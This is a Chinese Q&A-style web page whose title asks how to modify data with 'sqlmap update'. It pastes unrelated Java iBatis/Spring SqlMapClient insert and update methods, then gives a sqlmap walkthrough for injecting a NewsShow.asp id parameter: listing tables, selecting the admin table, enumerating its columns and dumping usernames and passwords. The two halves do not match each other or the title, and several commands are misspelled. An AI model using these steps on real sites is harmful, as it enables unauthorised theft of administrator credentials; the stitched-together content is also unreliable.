sqlmap update怎么修改数据

sqlmap update怎么修改数据,第1张

下面是源码:

public Object insert(final String statementName, final Object parameterObject)

throws DataAccessException {

return execute(new SqlMapClientCallback() {

public Object doInSqlMapClient(SqlMapExecutor executor) throws SQLException {

return executor.insert(statementName, parameterObject)

}

})

}

public int update(String statementName) throws DataAccessException {

return update(statementName, null)

}

public int update(final String statementName, final Object parameterObject)

throws DataAccessException {

Integer result = (Integer) execute(new SqlMapClientCallback() {

public Object doInSqlMapClient(SqlMapExecutor executor) throws SQLException {

return new Integer(executor.update(statementName, parameterObject))

}

})

return result.intValue()

}

跑表,命令是sqlmap –u “url/NewsShow.asp?id=69” –tables。

遇到这个,可以直接选择回车。

到了这里,选择线程1到10开始扫表,也可以在出现admin这个表的时候按下ctrl+c就可以终止然后就获取表。

然后直接再次输入命令sqlmap –u “url/NewsShow.asp?id=69” –colunmns –T admin。

得到了里面的字段username password id,然后直接跑字段内容sqlmap –u “url/NewsShow.asp?id=69” –dumps –T admin –C “username,password”。

然后一路还是回车。到了下图所示,还是选择线程1到10最后跑出了用户名、密码。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/sjk/9905251.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-03
下一篇 2023-05-03

发表评论

登录后才能评论

评论列表(0条)

保存